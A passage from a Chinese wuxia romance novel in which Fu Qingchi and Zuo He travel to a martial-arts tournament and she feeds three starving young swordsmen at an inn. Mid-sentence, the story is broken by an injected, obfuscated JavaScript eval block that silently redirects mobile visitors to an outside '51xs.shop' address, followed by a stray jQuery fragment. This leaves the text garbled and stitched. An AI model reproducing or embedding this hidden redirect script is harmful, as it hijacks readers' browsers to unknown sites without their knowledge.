左鹤的脸上明显露出了怔愣的神色,憋屈了这么久,头一回看见对方破功,傅清池难得感觉心神畅快。
“你曾说过芙蕖与长乐天少主有情,那便去武林大会找长乐天少主。左公子欲前往长乐天,难道另有打算?”
傅清池深棕色的眼睛对上左鹤漆黑的双眸,二人之间的气氛霎时变得微妙起来。
“清泉姑娘说笑了。既然姑娘想去武林大会,那在下自然奉陪。”
马儿在旁边不耐烦地走了两步,甩了甩尾,“咴咴”地叫了两声,似在催促二人赶紧上路。
武林大会四年一回,由江湖各大门派轮流举办,旨在让天下英豪互相切磋,维护江湖和平。
上一回武林大会由宝华寺承办,这一回则轮到振远镖局。
三十年前蛮人南下,边疆重地燕云城守将弃城而逃,置城内百姓于不顾。
危机之时,一家小镖局的镖师站了出来,带领城中百姓拼死抵抗,靠着地形硬生生坚持半月,撑到镇国将军的大军到来。
带领百姓抵抗的镖师,最后只活了一人,创立了振远镖局。
因此,在燕云边境,振远镖局威名赫赫,一呼百应。
此次武林大会也在燕云城召开。
从宝华寺到燕云城,快马加鞭也要七日有余。
傅清池率先翻身上马,动作飒爽利落,拉着缰绳居高临下看向左鹤:“左公子,走吧。”
与慧航大师聊过以后,她的心中豁然开朗,不再去纠结左鹤的目的。
朝廷、江湖……
这件事也许并不如自己所想,是冲着她来的。
她只不过是被暴风尾扫到的一条小鱼,被人浑水摸鱼了而已。
傅清池浅笑着看了一眼左鹤。
两人从锦州到宝华寺,又从宝华寺赶往燕云城,中间只好好在宝华寺内休整了一晚。
就算是江湖女子,也不一定能吃得消,然而傅清池骑着黑马,一声不吭。
左鹤看着眼前清瘦的背影,抿了抿嘴,再一次有了心软的感觉。
何必逼她那么紧……
犹豫心软的情绪在心中转了一圈,立马被风拂去。
开弓没有回头箭。
傅清池突如其来的变卦,其实在他的预料之内,前往武林大会,也在他的设想之中。
毕竟昨日慧航师傅说得如此明显,傅清池也不是个傻瓜。
这几日他未能找到机会将香膏涂抹于对方身上,还好他让殿下在每一处地方都留了人。
等到了燕云城,就收网罢,他已知晓之后该怎么做了。
又是七日的风尘仆仆,二人来到燕云城外的一座县城,找了一处客栈歇脚。
此时客栈大堂里人满为患,五大三粗的壮汉三两一群,装扮神秘的男女侠客零星几桌。
一看就是来参加武林大会的江湖人士。
客栈生意好,掌柜笑得合不拢嘴,见又进来一男一女,殷勤地迎了上去。
“客人,请问是打尖儿还是住店?”
“住店。掌柜,还有几间房?”傅清池问。
掌柜搓了搓手掌,笑眯眯地回答:“嗨哟,客人你们来得真巧,刚好还剩两间上房。”
“那就两间上房,打几桶热水上来,再送几盘小菜。”
傅清池此时累得只想瘫在塌上休息,七天日夜赶路,让她疲惫不堪。
掌柜乐呵地收下钱,招来一个小二带两人上楼。
还没走上去,又来了一伙人,掌柜赶紧迎上前,张口就是:“客人来得真巧,小店的上房还有三间,不知客人是否住店?”
我说怎么这么巧,原来都是假话。
傅清池笑着摇摇头。
两人房间并不相邻,这也让傅清池稍微安心。
关上房门,傅清池终于有机会好好休息一番。
她来不及脱下外衣,直接躺在床上睡着了,就连送热水和饭菜的敲门声都没听见。
等她再睁眼,已是夜晚。
客栈里聚集的人越来越多,江湖儿女快意恩仇,向来直来直往。
碰上性子合的,立马拍着肩膀称兄道弟,今夜不醉不归。
擦出了点火花,果断“腾”地一下站起来,恨不得以命相搏。
吵吵嚷嚷倒也热闹。
傅清池打开房门叫小二送水,洗漱之后走下楼。
此时大堂的桌子已经坐满了人。
眼见她孤身一人,小二迎了过来,告诉傅清池没有空位,能否接受与他人拼桌。
傅清池饿极了,点了点头,点完菜后嘱咐小二快些上。
接着,她扫了一圈大堂,发现到处都没有座位,只剩角落里格格不入一桌的客人还有空位。
傅清池走了过去,礼貌地问:“几位侠士,在下可否与你们拼桌?”
这桌客人是三个抱着大刀的朴素青年,见如此美貌的女子和他们搭话,忍不住恍了神。
“几位侠士?”
见他们不应,傅清池再问一句。
为首的青年这才猛然回神,脸上升起两团红晕,眼睛避开傅清池的脸,嗫嚅着说:“随意坐就好。”
傅清池依言坐下,发现三个大男人,居然只点了一盘白水煮肉。
再看几人的衣裳,袖口领口皆有磨损,手肘处还有补丁,看起来不像是正儿八经的门派弟子。
不过傅清池并没有深究下去的意思,左右与自己无关。
她的菜很快就送来,一荤一素。
肉香味源源不断地飘进旁边青年的鼻腔,虽然脸上还保持着沉默,鼻孔却一张一合,极力嗅闻空气中的肉香,显然是馋极了。
傅清池埋头吃饭,并未发现几个少年的不对,直到她听见一声响亮的“咕——”。
她转头看去,只见坐在身边的青年面露窘迫,紧张地抱着胸前的刀,低着头很不好意思。
傅清池善意地收回目光,挥手招来小二,指了指自己点的荤菜:“再上一道。”
等到小二送上菜,她伸手推到几个青年的面前:“吃罢,就当作是我回报你们与我拼桌。”
她体贴地维护着几人的尊严。
坐在两边的青年忍不住转头看向为首的青年,露出渴望和恳求的眼神。
为首的青年本想拒绝,可自己的肚子也发出一声叫声,只能羞愧地低下头:“多谢姑娘。”
得了青年同意,两名青年连筷子也顾不上,伸手就抓起盘中的肉往嘴里塞去,活像是百年的饿死鬼。
不一会儿,一盘菜便被三人吃干抹净,年纪较小的青年偷偷躲过身,嘬着手指上残余的油花。
为首的青年擦干净手,十分感激地看着傅清池,眼泪汪汪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746112|145276||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“多谢姑娘相助。”
傅清池轻轻一笑:“都是江湖儿女,举手之劳不必言谢。”
说罢,转身上楼休息。
等第二天早上再下来,她下意识瞟了一眼角落,没想到三个青年居然没离开,趴在桌子上似乎在睡觉。
掌柜注意到傅清池的目光,循着望去,发现她在看三个朴素年轻的青年,叹了口气。
“这世道,难啊……”
傅清池随口问道:“掌柜何出此言?”
掌柜一边算钱,一边说道:“去年久久不雨,燕云城辖内的偏远县都缺粮少食,过了一个冬就更没有存粮,不得不恳求朝廷开仓放粮。”
“但是知州以春雨为由拒绝开仓,说是等到老天爷下雨,能种粮食了,一切都会好起来的。可粮食长起来也要时间啊。听说,不少村子都饿死了人。”
掌柜说着,同情地摇了摇头。
“这几名青年,估计是想在武林大会里搏个名次,拿些奖银回家买粮。”
竟是如此。
傅清池沉默了,她靠手艺赚钱,一单少则五十两,多则七八十两,相当于京城八、九品官一年的俸禄。
虽过的低调,却从不缺钱,自是不清楚百姓的痛苦。
她忍不住再看向角落里趴着的三个青年,这才注意到其中一人连个像样的鞋子都没有,只能穿着草鞋。
左鹤在门外催促她上路,傅清池缓缓走了过去,在三人桌上放下一贯铜钱。
这是她唯一能为他们做的了。
离开客栈,傅清池的心情莫名低沉,提不起兴致应对左鹤。
快到燕云城,左鹤再卖关子,此刻也该揭开谜底了。
二人一同进城,街道上满是熙攘的人群,每个人脸上都带着笑。
不远处的集市上,一伙儿耍杂的卖力表演,惹来一阵阵喝彩。小贩敲着梆子叫卖,一群白嫩的小孩摇着拨浪鼓窜过人群。
“燕云城,你说谁能看出曾经是一片战场?”
左鹤感慨了一句,侧头看向傅清池。
“是啊,繁华盛世近在眼前。”
傅清池脑子里只有三个青年狼吞虎咽的模样,凉薄地勾起嘴角。
“清泉姑娘,我观鹤山庄的弟子应该已经到达,不如去我们那歇息,也好过再找一个客栈,如何?”
“都听你的。”
于是,左鹤带着傅清池来到振远镖局附近一处宅子。
推开门,两名身穿白衣的弟子正在院内切磋,铿锵声不绝于耳。旁边围了一圈年轻侠士,紧张地观察着场内局势,
突然,有一弟子发现门口的左鹤,惊讶地大喊:“大师兄?!你终于来了!”
听见弟子的声音,所有人一齐转头,就连切磋的弟子也收了手。
“大师兄好!”“大师兄你终于来了!”
弟子们带着崇敬的表情与左鹤问好。
“大师兄,这位莫非是……师嫂?”
一年轻弟子八卦兮兮地瞟了一眼容貌绝美的傅清池,偷偷红了脸。
“只是我一朋友。对了,庄主呢?”左鹤随口答道,随后看向屋内。
“长乐天前来拜访,庄主正跟他们谈话呢。”
话音刚落,只见一浅蓝色身影忽地落至傅清池面前,又惊又喜地抓住她的手:“芙蕖,我终于找到你了!”